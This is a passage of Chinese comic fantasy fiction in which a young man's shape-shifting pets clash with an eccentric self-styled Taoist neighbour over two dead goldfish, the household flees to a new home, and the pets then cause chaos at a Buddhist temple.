“噗嗤……” 汉堡憋不住了,指着吓得魂飞魄散的可乐,笑得前仰后合,脸上满是恶作剧得逞的得意,“哈哈哈哈哈!可乐你个大怂包,刚才谁说要保护主人的?”
他学着可乐之前的腔调,一脸的欠揍,“我不怕~我好勇敢哦~”
“啪!”
一声清脆的开关声响,刺目的白光如同爆炸般猛地充满了整个空间,巨大的吊灯悬在客厅中央,惨白的光线倾泻下来,将房间里所有隐藏在阴影里的小动作,都照得无所遁形。
汉堡脸上那副充满挑衅的得意表情,像被按下了暂停键,凝固在强光里,显得滑稽又僵硬。
可乐正准备狠狠掐汉堡腰眼儿的手,也僵在了距离目标仅仅一指之遥的半空中,尴尬地停顿着。
陈开心被突如其来的强光刺得眯起了眼睛,生理性的泪水瞬间涌上来。他抬手挡在眼前,勉强适应几秒,才透过指缝看清了前方。
那个不久前在电梯里见过的男人,此刻就站在客厅中央,距离他们不过几步之遥。
他穿着那身样式古怪的黑黄色道袍,衬得身形挺拔瘦削。那张英俊却毫无血色的脸上没有任何表情,眼神空洞,像两口深不见底的枯井。
他的右手握着一柄造型古朴的桃木剑,剑尖斜斜指向地面,左手则捏着一张边缘有些磨损的黄色符纸,正是那“沙沙”声的来源。
陈开心挤出一个尽可能友善的笑容:“呃,那个……你好,我是你对门的邻居,我叫陈开心。我们……刚刚在电梯里见过的,记得吗?”
他一边说,一边不自觉地抬了抬手里那个装着两条僵硬小鱼尸体的塑料盒。
范司杞对陈开心的自我介绍恍若未闻,视线像冰冷的探针,直接越过他,牢牢钉在塑料盒上。
他的目光在两条翻着惨白肚皮的小鱼身上停留了足有十几秒,空气仿佛凝固了,只有那惨
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白的灯光嗡嗡作响,压迫着每个人的神经。
终于他缓缓抬起眼,目光重新落回陈开心脸上,嘴唇翕动,吐出两个毫无起伏,冰冷得像从冰窖里捞出来的字:“死了?”
那声音听不出任何情绪,却像一把钝刀子刮过耳膜。
陈开心心头一紧,喉结上下滚动了一下,艰难地点头,把塑料盒往前递了递,神情沉重而歉疚:“是……非常抱歉,先生。”
范司杞再次陷入沉默。
这次的时间更长,长得让陈开心觉得后背的汗毛都要倒竖起来。他那双深不见底的眼睛在陈开心脸上逡巡,似乎在评估着什么,又像是在压抑着某种极其汹涌的东西。
末了,他再次开口,声音依旧平板,却带着一种令人毛骨悚然的确认意味:“你杀的?”
汉堡浑身的汗毛都炸了一下,身影猛地往前一窜,挡在陈开心身前,急切地想要解释:“不是,是我……”
“是我!” 陈开心反应极快,几乎是条件反射般伸出另一只手,一把拦在汉堡身前,将他护在自己身后。
他目光毫不闪避地迎上范司杞那双深不见底的眼睛,语气斩钉截铁,带着一种近乎破釜沉舟的诚恳。
“这件事确实是我做得不对,不问自取是为偷,更何况还……还弄死了你的鱼。责任在我,你要怎么赔偿,我都认,我全力配合,实在是对不起!”
话音落下,他对着范司杞,深深地弯下腰,鞠了一个标准的九十度躬。
他身后的四个小家伙,仿佛被一股无形的力量牵引着,也齐刷刷地跟着他弯下腰。
“赔偿?” 范司杞的嘴角极其轻微地抽动一下,像是在咀嚼这两个字,眼神变得更加微妙难辨。
他似乎在看着陈开心,又似乎透过他看到了别的什么东西。片刻之后,一个极其僵硬的笑容在他苍白的脸上绽开,带着浓重的嘲讽。
“呵……你拿什么赔?”
这话像一块巨石砸在陈开心心上,他立刻明白了,这两条鱼对这位古怪邻居的意义,恐怕远非寻常宠物那么简单。
陈开心感同身受,若是他的汉堡、可乐它们出了事……他简直不敢想。
一股浓烈的愧疚几乎将他淹没。
“我理解您的心情,” 陈开心将姿态放得更低,声音带着一丝不易察觉的沙哑,“您看这样行不行?您如果要两条一模一样的新的鱼,无论多难找,我一定想办法给您找来。或者金钱补偿,您说个数,只要在我能力范围内,我绝不推辞,都可以商量。”
“都可以?” 范司杞的目光猛地一闪,那死水般的脸上终于裂开一丝缝隙,他重复着这三个字,像是听到了什么极其荒谬又引人发笑的事情。
与此同时,他握着桃木剑的右手猛地抬起,剑尖划破凝滞的空气,带着一股冰冷的决绝,越过陈开心的肩膀,精准无比地指向了他身后惊疑不定的……
汉堡!
“喵呜?!” 汉堡像一只受惊的刺猬,喉咙里发出惊恐的低吼,本能地想要后退,却被后面的雪碧挡住。
范司杞的声音不高,却如同淬了寒冰的利刃,清晰地刺入每个人的耳膜,带着一种宣告命运般的冷酷:“那我要它,这只猫,抵命!”
轰!
这简短的一句话,仿佛在陈开心脑海里投下一颗炸弹,每一个字都带着雷霆万钧的力量,震得他眼前发黑,耳朵嗡嗡作响。
这是第二个认出汉堡身份的人,来自一个不知姓名的小道士。
30.道士证亮出来
范司杞认出了汉堡的身份,最开心的人反倒是猫猫本猫的汉堡。
“喵嗷!”一声短促而惊喜的猫叫几乎要冲破汉堡的喉咙,被他强行压了下去。
他像踩了弹簧似的,整个人“噌”地一下蹦跶到范司杞面前,胆子贼大地踮起脚,伸出爪子就去揪范司杞头顶那几缕有些凌乱的头发:“你知道我是猫?天呐!你也是从猫人星球来的吗?你的猫耳朵呢?藏哪儿了?快变个身给我看看!”
他兴奋得声音都拔高了几个调,完全忘了刚才还被对方指着鼻子骂,满心以为遇到了和乔浓一样来自猫咪星球的同伴。
他迫不及待地扒拉着范司杞的头发,手指灵巧地在他头皮上摸索,仿佛下一秒就能揪出一对毛茸茸的尖耳朵来。
范司杞被他这突如其来的热情和搞得头皮发麻,一股无名火“腾”地窜起。
他打小就不是个强壮的孩子,体弱多病,父母在他刚会走路不久就将他送入附近一座香火还算旺盛的道观“寄养”,名义上是沾沾仙气养养身子。
没曾想,这道家玄妙的经义和那些神神叨叨的法术,竟像磁石一样牢牢吸住了年幼的范司杞。他如饥似渴地跟着师父学画符、念咒、打坐,每年雷打不动地从家里省吃俭用挤出两万块钱“学费”孝敬师父,就为了能多学点本事。
他的人生目标清晰而宏大,那就是潜心修炼,早日得道成仙,位列仙班。
可在他十八岁那年,彼时他自觉修为小成,竟学着话本里的故事,跑到后山一处自以为是的“灵气汇聚”之地去“引雷淬体”,妄图加速成仙进程。
结果可想而知,一道带着毁天灭地气势的紫色天雷不偏不倚,将他劈了个外焦里嫩。
家里为了救回他这条小命,几乎变卖了所有家当,父母更是日夜操劳,最终在他勉强能下床后不久,便因积劳成疾相继撒手人寰。
而范司杞自己不仅没能羽化登仙,反而因家徒四壁,连每年供奉给道观那两万块“修葺费”都交不上了。
师父看着他这副落魄样,又想起他引来天雷差点毁了道观后山的事迹,终于在他又一次空手而来时,叹息着将他“请”出了山门,美其名曰:“徒儿啊,你已学成,该下山自立门户,弘扬我道法了。”
家破人亡,师门不容。
范司杞的人生仿佛被那道天雷彻底劈碎了,但祸兮福所倚,也正是那道差点要了他命的天雷,意外地劈开了他识海中的某种桎梏,让他获得了“天眼”的神通,能看到寻常人看不到的事物。
这能力让他悲喜交加,独自躺在破庙的草堆上时,一个念头疯狂滋长:莫非……这是上天给我的考验?那道雷其实是仙界的接引神雷?我离成仙真的只差一步了?!
一旦这念头扎根,便如野草般疯长。
范司杞心一横,找了个荒郊野外的贫瘠小山头,用树枝茅草搭了个四面漏风的窝棚,自封为“毛山道士”,给小山取名“毛山”,开始了“守株待兔”式的修仙生涯。
他坚信,只要心诚,仙缘自会降临在这“毛山福地”。
可惜仙缘没等来,等来的是一纸冰冷的“土地开发通知书”。政府要将这小小的毛山连同周边区域开发成一个什么生态旅游度假区,通知上白纸黑字写着,范司杞是“非法占用国有山地资源”,勒令他一周内卷铺盖滚蛋,否则后果自负。
仙路断绝,连最后的蜗居之所也保不住。范司杞只能收拾起他那点可怜的家当,在偌大的城市里像个游魂般飘荡。
最终,他像抓住救命稻草一样,搬进了陈开心所在的这个名叫“幸福里”的老破小社区。
原因简单得不能再简单:房租便宜得离谱,一个月只要五百块,更重要的是小区旁边就有一座小小的土地庙,虽然香火寥落,但好歹能让他这个“毛山道士”有个供奉香火的地方,勉强维系着他那摇摇欲坠的“仙途”梦想。
此刻被汉堡揪着头发找“猫耳朵”的范司杞,感觉自己的尊严连同那点残存的“仙家气度”都被这只不知天高地厚的猫踩在了脚下。
“去去去!啥子猫人?猫就是猫,人就是人,还猫人?你当演动画片呢!”
范司杞没好气地一掌拍开汉堡那只在自己头顶作乱的手,力气不小,发出清脆的“啪”一声,还朝他啐了一口根本不存在的唾沫星子,眼神里充满了鄙夷和不耐烦,“我看你就是个修炼不到家的猫妖,离我远点!”
“你!”汉堡脸上的兴奋瞬间冻结,随即被一层寒霜覆盖。
他悬在半空的手猛地收紧,指关节捏得发白,琥珀色的瞳孔危险地缩成了一条细缝,喉咙里发出威胁性的呼噜声。
陈开心太熟悉这前奏了,这是汉堡炸毛暴走前的标准动作。他眼疾手快,在汉堡挠人前,一把将他拽了回来,牢牢护在自己身后。
范司杞压根没注意到身后汉堡那快要杀人的眼神,或者说,他此刻的注意力完全被另一场“悲剧”夺走了。
他伤心欲绝地扑向那个简陋的塑料盒,颤抖着双手,小心翼翼地捧起了那条肚皮翻白、早已僵硬的小金鱼。
“我的鱼鱼啊!”一声凄厉得不似人声的哀嚎瞬间响彻整个出租屋,震得天花板上的灰尘都簌簌往下掉。
范司杞将死鱼紧紧贴在脸颊上,身体夸张地摇晃着,声音带着哭腔,悲痛欲绝。
“你死得好惨啊!我们从小一起长大,相依为命这么多年,风里来雨里去,我吃糠咽菜都没饿着你,你怎么……你怎么就先我而去了呢?!留下我一个人,在这冷漠的世间可怎么活啊!鱼鱼啊!”
他哭嚎着,身体抖得如同风中落叶,那悲愤欲绝的模样,仿佛下一秒就要追随他的“鱼鱼”共赴黄泉。
这突如其来的悲情大戏把汉堡彻底唬住了,他吓得往后猛退一大步,和旁边的可乐、雪碧、包子面面相觑。
几个人脸上都写满了问号:这人怎么回事?刚才还凶神恶煞地骂人猫妖,转眼就抱着条死鱼哭得肝肠寸断?精神分裂吗?
陈开心却早已练就了一双“火眼金睛”,家里养着这群活宝,哪个不是装哭耍赖的好手?特别是雪碧,眼泪说来就来,但十次有九次半都是干打雷不下雨。
范司杞这嗓门是够大,表情是够悲,但仔细看他眼眶干涩,一滴眼泪都没有,纯粹是在那儿干嚎。
陈开心嘴角抽搐了一下,弱弱地举起手,试图戳破这拙劣的表演:“那个……道……道长?打断一下哈,您说这鱼是您从小养大的?”
范司杞的哭声诡异地顿了一下,抽噎着转过头,用红肿的眼睛看向陈开心:“当然!它跟我亲如手足!”
“哦……” 陈开心点点头,双手伸出,比划了一个非常清晰的“十五”的手势,还特意往前凑了凑,确保对方能看清。
“可是,据我所知,金鱼这种生物,寿命极限大概也就十五年顶天了。您要说是从小养大,相依为命二十多年……这……不太符合生物学常识吧?”
他的语气充满了无辜和实事求是。
范司杞的哭声戛然而止,他脸上那悲痛欲绝的表情瞬间凝固,像一张劣质的面具出现了裂痕。
“Fine。”范司杞从喉咙里挤出一个生硬的英文单词,仿佛用尽了毕生的涵养才压下被拆穿的恼怒。
他收起那套一哭二闹三上吊的把戏,随手像丢垃圾一样,将那条被他哀悼了半天的金鱼,“啪嗒”一声精准地丢进了墙角的垃圾桶,动作干脆利落,不带一丝留恋。
然后他转过身,对着陈开心慢悠悠地竖起了一根食指,眼神里带着不容置疑的敲诈意味:“一万。”
顿了顿,他加重语气。
“一万块钱!一分都不能少!这是我两条宝贝鱼鱼的身价!还有我的精神损失费!”
一万块钱!他怎么忍心开口的?
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他知道这对一个失业后刚工作的人有多大打击吗?
陈开心面露难色:“这......是不是有点儿多了?”
范司杞转过身,沾了点口水抹了抹眼睛,对着垃圾桶里的金鱼继续哭起来:“我的小鱼啊,你们死的好惨啊,有人说什么代价都愿意赔,可是连一万块钱都不想掏,也不知道是他身后的那只狗,那两只猫和那只猪,是哪个王八蛋给你们玩死的?”
他擤了把鼻涕,在陈开心越来越难堪的脸色里继续加大火力:“一万块,我看把那头猪卖掉就值一万块了。”
猪?什么猪?
雪碧吃瓜地往旁边看了看,一头雾水。没有猪啊,房间里哪有猪?
“傻子。”可乐没好气地锤了他一拳,“说你呢。”
“啊?”雪碧吃惊地张大了嘴巴,“不……不是,我不值一万块吧。”
他掰着手指头,努力回忆着。当初在菜市场,和他关在一个猪圈里的猪朋友们,最多好像也就卖了三四千。
“唉。”包子叹了口气,忍不住扶额,这货的关注点是不是有点儿偏?
“蠢猪!”汉堡恨铁不成钢地戳戳他的脑壳,“你这么想被卖掉离开我们吗?你要是真想走,早说啊,我们还累死累活地直播赚钱干嘛?直接把你卖掉不就有钱了!哼。”
“没有。”猪猪揉揉被戳过的地方,委屈地低下了头,“我这不是知道主人不可能把我卖掉嘛?所以不担心。”
他倒是信任陈开心,可陈开心现在反倒是一肚子不安。
“你想干什么?!”他警惕地挡在雪碧的身前,同样是点出了汉堡他们的身份,可这个人给他的感觉和乔浓给他的感觉完全不一样。
乔浓的一举一动都透露着斯文守礼,这个人看上去却吊儿郎当,像个地痞无赖,鬼才相信他是道士,说不定就是个坑蒙拐骗的混混。
“看你的穿着你应该是道士吧,那把你的道士证亮出来看看。”他把手伸到范司杞面前。
一说到道士证,范司杞就气不打一处来,本来就是唯心主义的道士,现在竟然被国家收编,活生生给逼成了唯物主义,要不是拿不出道士证证明身份,他也不至于从毛山被赶走。
他头一扭,脖子一梗,咬牙切齿:“没有!”
这两个字听在陈开心耳朵里,简直如同天籁,他紧绷的神经瞬间松弛下来,一股巨大的喜悦和底气涌上心头,让他差点没控制住笑出声。
他强忍着,嘴角却还是不受控制地咧开了一个大大的嘚瑟笑容:“钱呢,我会一分不少地赔给你,至于你说我的家人是猫啊狗啊猪啊,纯粹是无稽之谈,你连个正经道士都算不上,你就算说出去,别人会信我这个在这儿住了三四年,经常帮助邻里,相亲相爱的邻居,还是会信你这个两条鱼都要收一万块的假道士?”
陈开心在心里默默感谢了八辈祖宗,感谢党,感谢政府,感谢如今的政策,上至机关单位,下至寺庙道观,没有颁发的合法证书,都会被打为非法机构,就连和尚念经、道士画符,都得先考个“资格证”才能上岗。
虽可笑,但眼下着实救了陈开心一命。
陈开心掏出手机打开付款码,见范司杞目光炯炯地盯着他,眸中大有忿忿不平之意,他甚至故意挑了挑眉,语气带着点胜利者的轻快:“来吧,收款码。”
那表情,那语气,欠揍又臭屁,活脱脱就是放大版的汉堡。
送上门的钱,不要是傻子!
范司杞被陈开心这副小人得志的嘴脸气得几乎内伤,但他深知此刻纠缠道士证只会自取其辱。
他阴沉着脸,从他那件洗得发白,袖口都磨出毛边的旧道袍口袋里,摸出一个屏幕裂得像蜘蛛网般的破旧手机,手指带着泄愤的力道,狠狠戳开收款二维码。
送上门的钱不要白不要,至于那猫那狗那猪,还有他们那巧舌如簧的主人,咱们走着瞧!
31.搬新家了
夜色浓稠得像化不开的墨,陈开心把最后一个纸箱重重塞进后备箱。他撑着膝盖直起腰,汗水顺着紧绷的下颌线滚落,砸在小区冰冷的水泥地上,洇开一小团深色的痕迹。
胸腔里那颗心咚咚擂鼓,一半是累的,一半是悬的。三天前范司杞那咬牙切齿的话,像是烧红的钉子,烫得他坐立难安,当天晚上就疯狂刷起了租房信息,打定主意要搬家。
必须走,立刻,马上!
“汉堡!可乐!雪碧!包子!”他压着嗓子低吼,声音被浓重的夜色吞掉大半,带着不容置疑的急促,“上车!快!”
他一声令下,汉堡的动作最为利落,小猫咪漂亮的眉头紧紧蹙着,脸上惯有的慵懒倨傲被一种罕见的凝重取代。
他最后深深看了一眼单元门的方向,仿佛要将那个住了大半年的“领地”刻进眼底,然后没有丝毫犹豫,拎起自己那个装满了心爱玩具和小鱼干的背包,一言不发地拉开后车门钻了进去。
他把自己缩在阴影里,只留下一双在黑暗中闪烁着复杂光芒的眼睛。
可乐像个被惊醒的大型挂件,揉着惺忪的睡眼,几乎是本能地整个人贴在陈开心背上,毛茸茸的脑袋在他颈窝里眷恋地拱来拱去,带着浓重的鼻音哼哼唧唧:“主人……困……再睡五分钟嘛……天亮再走好不好?”
他声音里充满了对温暖被窝和熟悉环境的依恋,完全无法理解这深夜的仓皇。
雪碧则显得异常沉默,他死死攥着一个塞得鼓鼓囊囊,几乎要撑破的超市购物袋,里面全是他视若珍宝的零食储备。
他本是菜市场一只待宰的猪,颠沛流离已是习惯,可是搬家来得太突然,他只能慌乱地把能抓到的都塞进去,另一只手紧紧攥着包子冰凉的手腕,仿佛那是此刻唯一能抓住的锚点。
包子那头柔软的金发在夜风里微微飘动,他碧绿的眼眸扫过楼道里堆满的杂物和空荡荡的门口,又失落地移开,最终落在陈开心写满疲惫与焦虑的脸上,只轻轻地说了一个字:“好。”
声音很轻,带着一种难以言喻的顺从和一丝不易察觉的茫然。
大家似乎都在尽力配合,除了某只被强行从睡梦中拖起,完全状况外的大狗。
陈开心太阳穴突突直跳,感觉血压瞬间飙到了一百八。范司杞那张阴鸷的脸在脑海中挥之不去,紧迫感压得他喘不过气。
他一把揪住可乐的后衣领,用了点力气把他从自己身上撕下来,声音因为急切而显得有些严厉:“再磨蹭把你肉干全没收!上车!”
他不敢解释太多,恐惧像冰冷的藤蔓缠绕着他,让他只想尽快离开这个被窥视的地方。
可乐被吼得一愣,睡意瞬间飞了大半,懵懂的眼睛里盛满了委屈和不解。
他看看陈开心紧绷的脸,又看看黑洞洞的车厢,嘴巴扁了扁,最终还是被半拖半拽地塞进后座,挨着沉默的汉堡坐下。包子也挤到了后座,雪碧则坐在副驾,狭窄的车内顿时塞得满满当当。
陈开心“嘭”地关上车门,隔绝了外面沉沉的夜色,也隔绝了那个充满危险的小区。他迅速发动车子,老旧的小轿车在午夜空旷的街道上疾驰,引擎发出疲惫而焦躁的喘息。
后视镜里,熟悉的小区轮廓在昏黄的路灯下迅速缩小模糊,最终被甩进身后沉沉的黑暗深渊,连同那潜伏在黑暗中的窥视目光一起。
然而甩掉了旧巢,陈开心紧绷的神经却没有丝毫放松。
他不清楚范司杞搬到他家对面去的目的,但对方那句说汉堡是猫的话像毒蛇的信子,冰冷地舔舐着他的恐惧。
能一眼看出汉堡是猫,那绝非善类!
陈开心赌不起,他不敢拿他们四个人的安全去冒险,他只能先逃,逃得远远的,到一个范司杞找不到的地方,再图后计。
汽车在午夜空旷的街道上疾驰,引擎发出疲惫的喘息。后视镜里,熟悉的小区轮廓迅速缩小模糊,最终被甩进沉沉的黑暗。
目的地是一个毗邻城乡结合部的老小区,房子在一楼,带着个杂草丛生的小院,因为位置偏僻,所以租金便宜得离谱,最重要的是……
陈开心疲惫的目光投向小区围墙外,远处山坡上,一片飞檐斗拱的轮廓在稀薄月光下若隐若现,隔壁就是一座香火不算鼎盛,但足够清幽的古寺。
接下来的搬家过程混乱得像一场灾难,所有东西都需要靠人力一件件从车上搬到一楼房间里。陈开心累得几乎虚脱,汗水迷了眼睛,每一步都像踩在棉花上。
那四个“祖宗”倒是精神了。
汉堡默默承担起了力所能及的部分,抱着箱子来回穿梭,眉头始终紧锁,偶尔看向新家破败的环境,眼神里是毫不掩饰的嫌弃和一丝……无措。
可乐倒是想帮忙,但笨手笨脚,不是差点绊倒就是放错地方,最后被陈开心赶到角落,只能抱着膝盖蹲在那里,看着主人忙碌的身影,眼神空洞又迷茫,时不时小声嘀咕一句:“主人,我们为什么要来这里啊?原来的家不好吗?”
雪碧则紧紧抱着他的零食袋,像守护着最后的堡垒,亦步亦趋地跟在包子身后。
包子始终沉默,金发在昏暗的灯光下显得有些黯淡,他安静地站在窗边,目光穿透蒙尘的玻璃,固执地望向旧家的方向,小小的背影透着一股挥之不去的落寞。
搬家一直持续到天边泛起鱼肚白,陈开心累得几乎脱形,灵魂都要从躯壳里飘出来,他胡乱把几个装着必需品的箱子推进布满灰尘的客厅,也顾不上收拾,就把自己像一袋沉重的垃圾般,重重摔在唯一一张的旧沙发。
可乐亦步亦趋地跟在他身后,像个最忠实的护卫,只是眼神早已飘忽。
他摸着瘪瘪的肚子,眼神时不时飘向空空如也的厨房方向,肚子很配合地发出一声悠长而响亮的“咕噜”,在寂静的客厅里如同一声委屈的控诉。
他蹭到陈开心瘫倒的沙发边,蹲下来,下巴搁在沙发扶手上,大眼睛湿漉漉地望着陈开心,小声念叨:“主人,饿……原来的家,冰箱里有肉肉……”
他不安的眼神里显然是对旧日安稳的怀念和对眼前陌生的不适。
陈开心被那声“咕噜”和可乐的话刺得太阳穴又是一跳,他强撑着最后一点力气坐直,目光严厉地扫过眼前这四个让他心力交瘁又无比牵挂的家伙。
旧家的温馨、范司杞的针对、新环境的破败、宠物们的茫然失落……种种情绪交织成一张沉重的网,压得他喘不过气。
他深吸一口气,每一个字都像是从牙缝里挤出来的,带着不容置疑的沉重和一丝不易察觉的疲惫:“都给我听好了!”
他的嗓音因为透支而沙哑,却异常清晰。
陈开心指了指扔在沙发旁边的一个黑色背包:“那个包里有新定制的项圈,以后你们要是想出门,一定要戴上这个。”
他的语气前所未有的严肃,甚至带着一丝恳求。
“这个很重要!不戴的话……你们可能就……” 他艰难地吐出后面的话,声音低沉下去,带着浓重的伤感,“就看不到我了。”
陈开心顿了顿,目光依次看过汉堡困惑的神色,可乐茫然不解的大眼睛,雪碧瞬间忘了零食的紧张表情,以及窗台上包子突然回头的惊疑瞳孔。
他加重语气,几乎是带着点残忍地问:“你们……想看不到我吗?”
这个问题像一块巨石投入死水。
汉堡的身体瞬间绷紧了脸上第一次出现裂痕,眼神锐利地盯着陈开心,仿佛想从他脸上找出玩笑的痕迹。
可乐猛地摇头,动作大得差点撞
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到沙发扶手,急切地喊:“不要!可乐要主人!”
雪碧抱紧了零食袋,小脸煞白,拼命摇头。
窗台上的包子虽然没有出声,但抱着膝盖的手指用力到指节发白,嘴唇抿成了一条苍白的直线,他的猫瞳里清晰地映着陈开心疲惫而认真的脸,用力地摇了摇头。
没有人想,离开熟悉的家已经让他们失落不安,如果再失去陈开心……这个念头带来的恐惧瞬间压倒了所有对新环境的不满和饥饿。
伴随着他的话语,不远处寺庙的方向,恰在此时传来一声悠扬而浑厚的晨钟。
“当——嗡——”
钟声辽远,穿透薄薄的晨雾,仿佛带着某种涤荡人心的力量,又像是在为这个混乱的清晨盖上一个沉重的印章。
陈开心紧绷到极致的神经在这钟声里,短暂地松弛了一瞬,巨大的疲惫感瞬间将他淹没,眼皮沉重得像灌了铅,再也抬不起来。
他甚至连安抚宠物们那恐惧目光的力气都没有了,身体一歪,意识便迅速沉入了无边无际的深渊。
他太累了,身体的透支,精神的紧绷,对未来的忧虑,以及对宠物们那份深沉的责任与爱,像几座大山,终于将他压垮。
.
.
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新家的第二天。
阳光透过没拉严实的窗帘缝隙,直直刺在陈开心的眼皮上,他皱着眉,艰难地掀开沉重的眼帘。陌生的天花板,刺鼻的灰尘味,身下沙发硌人的弹簧……记忆碎片瞬间涌入脑海。
哦,想起来了,他们搬新家了。
“汉堡?可乐?雪碧?包子?”他哑着嗓子喊了一声,声音在空荡的客厅里撞出回音。
死寂,绝对的死寂,连呼吸声都听不到。
他猛地弹坐起来,不祥的预感如同冰冷的毒蛇,顺着脊椎迅速爬升。
陈开心浑身的汗毛瞬间倒竖,他连滚带爬地从沙发上翻下来,鞋都顾不上穿,赤着脚冲向几个卧室。
主卧空无一人,次卧空无一人,连雪碧那个塞满零食的宝贝购物袋都不见了踪影。
“完了……”
一股寒气从脚底板直冲天灵盖,陈开心眼前发黑,腿肚子直发软,他几乎是手脚并用地扑到茶几上,颤抖的手抓起手机,冰凉的触感让他稍微清醒了一点。
屏幕亮起,刺眼的光线下,一个陌生的本地座机号码赫然显示着三个未接来电。
最后一个来电时间,就在两分钟前。
他手指哆嗦得几乎握不住手机,回拨键按了好几次才成功,电话瞬间就被接通了。
“喂?您好?”一个年轻但异常严肃的声音传来,背景音有些嘈杂,隐约还能听到几声模糊的争执。
“您……您好,我是陈开心,我刚刚看到未接来电……”陈开心的声音抖得不成样子。
“陈开心先生,是吗?”
对方的声音陡然拔高几分,带着一种公事公办的冷硬,以及一丝极力压抑却仍透出来的古怪。
“这里是城西龙吟禅寺警务室,请您立刻到禅寺的大雄宝殿来一趟!您家人……呃,情况有点特殊,需要监护人亲自处理。”
“轰!”陈开心脑子里像是有什么东西炸开了。
民警后面说了什么,他一个字都没听清,手机“啪嗒”一声掉在地上。
陈开心连滚带爬地冲出家门,连门都忘了关。
清晨微凉的空气吸入肺腑,却如同冰渣,割得他生疼。
他脑子里一片空白,只有一个声音在疯狂尖叫:佛祖保佑,千万别出事。
他用尽全身力气,朝着那片沐浴在晨光中的寺庙,跌跌撞撞地狂奔而去,清晨的街道空无一人,只有他粗重的喘息和凌乱慌张的脚步声在宁静中回荡。
32.慧明大师
陈开心只恨自己不能长出翅膀,还好那个破败的新家离寺庙不远,穿过一条小巷就到了侧门。
他像一颗失控的炮弹,一头撞开了虚掩的寺门,冲进了晨钟初歇,香烟缭绕的寺院。
“让让!对不起!让让!”
拨开几个错愕的香客,循着隐约的喧闹声,陈开心直扑庄严肃穆的大雄宝殿。
眼前的景象让他直接石化,连呼吸都忘了。
大殿门口围着一圈看热闹的香客和几个穿着黄马褂、拿着对讲机的景区保安,个个脸上表情精彩纷呈。
人群的中心,正是他那四个不省心的“家人”。
汉堡正以一种极其不雅的姿势挂在佛祖金身上,他像是发现了什么珍宝,两只手死死抠着鎏金的袖口浮雕,双腿悬空乱蹬,嘴里还发出兴奋又急切的“喵呜喵呜”声,目标直指莲座下方水池里那几条悠哉悠哉、肥硕无比的金红色锦鲤。
“我的鱼!好大的鱼!佛祖养的鱼肯定更好吃!喵喵喵!”汉堡完全沉浸在自己的捕猎大业中,对周遭的一切置若罔闻。
他那身陈开心给他新买的衣服上蹭满了香灰和不知名的污渍,脸上也灰一道白一道,活像刚从煤堆里滚出来
身侧,可乐这只傻狗在忠实地执行着“外出要保护汉堡”的指令,禁止陌生人靠近。
他庞大的身躯宛如一堵墙,横在试图上前解救锦鲤的僧人和保安面前。他像狗那班龇着牙,喉咙里发出低沉的“呜呜”声,口水不受控制地顺着嘴角淌下,在青石板上积了一小滩。
“汪汪!不准过来!汉堡在抓鱼!谁也不准打扰他!”可乐眼神凶狠地扫视着“敌人”,完全没意识到自己才是那个最大的扰乱分子。
而雪碧这只心大的猪猪,似乎对眼前的混乱毫无所觉,正蹲在大殿角落一个写着“功德无量”的红色木箱旁边,怀里紧紧抱着他那鼓囊囊的零食袋,目光热切地锁定在供桌上。
那里摆满了甜香四溢的糕点和新鲜的各色水果。
雪碧吸了吸鼻子,浓郁的果香让他肚子里的馋虫疯狂叫嚣。
他看看凶神恶煞的可乐,又看看挂在半空的汉堡,最后目光落在供桌旁一个慈眉善目的老奶奶身上。
他犹豫了一下,小心翼翼地挪过去,指着供桌上的西瓜,用十二分的真诚和渴望问道:“奶奶,这个……能给我吃一块吗?我渴。我用肉干跟你换?”
说着,还真的从零食袋里掏出一根皱巴巴的肉干递过去。
老奶奶:“……”
包子是现场唯一一个看起来相对“正常”的存在,他没有参与“捕鱼”或“护法”,也没有觊觎供果。
他静静地站在人群外围的一根朱漆柱子旁,金发在晨光中显得有些黯淡,碧绿的眼睛锐利如鹰隼,警惕地扫视着周围攒动的人头,身体绷得紧紧的,仿佛在防备着什么无形的威胁。
当陈开心冲进来的那一秒,包子的目光立刻锁定了他,眼神里飞快地闪过一丝如释重负,但随即又被更深的担忧覆盖。
他微微动了动嘴唇,无声地做了个口型,手指隐晦地指向大殿侧后方一个不起眼的阴影处。
陈开心顺着包子的目光猛地看去,心脏骤停。
在那片阴影里,一个穿着花衬衫,手里漫不经心把玩着一串廉价桃木珠的身影,正斜倚着廊柱,嘴角噙着一抹看好戏的冷笑。
是范司杞,他竟然阴魂不散地跟来了!
此刻,他那双细长的眼睛饶有兴致地看着现场,活像在欣赏一场有趣的闹剧。
“轰!”陈开心只觉得一股热血直冲头顶,所有的担忧、恐惧和疲惫在这一刻都化作了滔天的怒火和极致的羞耻。
“陈汉堡!陈可乐!陈雪碧!”他几乎是咆哮出声,每一个字都带着难以抑制的怒火,瞬间压过了殿前的所有嘈杂。
这石破天惊的一嗓子,效果拔群。
挂在袖子上的汉堡浑身一哆嗦,爪子一松,“噗通”一声从半空摔了下来,一屁股坐在地上。
他摔懵了,也终于从捕鱼大梦里惊醒,茫然地看着暴怒的主人。
挡在保安面前的可乐吓得尾巴骨一凉,条件反射地“嗷呜”一声,夹紧双腿,试图夹住不存在的尾巴,像只受惊的鹌鹑缩起了脖子。
拿着肉干准备“交易”的雪碧更是吓得手一抖,肉干“啪嗒”掉在地上,他赶紧把零食袋往身后藏,头埋得低低的,恨不得当场挖个洞钻进去。
只有包子,看到范司杞在陈开心的怒吼声中眼神突变,迅速退入更深的阴影后消失不见,紧绷的身体才稍稍放松了一点点。
他快步走到陈开心身边,轻轻拽了拽他的衣角,低声道:“开心,那个坏人……刚才在看。”
陈开心现在哪里还顾得上范司杞,他只觉得脸上火烧火燎,恨不得原地消失。
他三步并作两步冲到殿前,无视了僧人痛心疾首的目光和保安伸过来的手,一把揪住离他最近的汉堡的耳朵,另一只手则精准地掐住了可乐的后脖颈。
“丢人!丢人现眼!佛祖面前!你们……你们……”陈开心气得浑身发抖,话都说不利索了。
他环顾四周,看着那些举着手机拍摄,指指点点的香客,再看看庄严肃穆却被搅得鸡飞狗跳的大殿,特别是那几条被汉堡吓得在池子里乱窜的锦鲤,还有供桌旁脸色铁青的僧人和老奶奶……
一股深深的无力感几乎将他淹没。
就在他羞愤欲绝,准备拉着这四个“孽障”赶紧逃离这社死现场时,一个平和的声音在人群后方响起。
“阿弥陀佛。”
人群自动分开一条道路,一位身着明黄色袈裟,面容清癯的老僧,在几位僧人的簇拥下缓缓走来。
他须眉皆白,步伐沉稳,周身仿佛自带一种安定人心的气场。
来人正是龙吟禅寺的主持,慧明大师。
喧闹的大殿门口顿时安静了许多,慧明大师的目光平静地扫过一片狼藉,最后落在满脸通红的陈开心脸上。
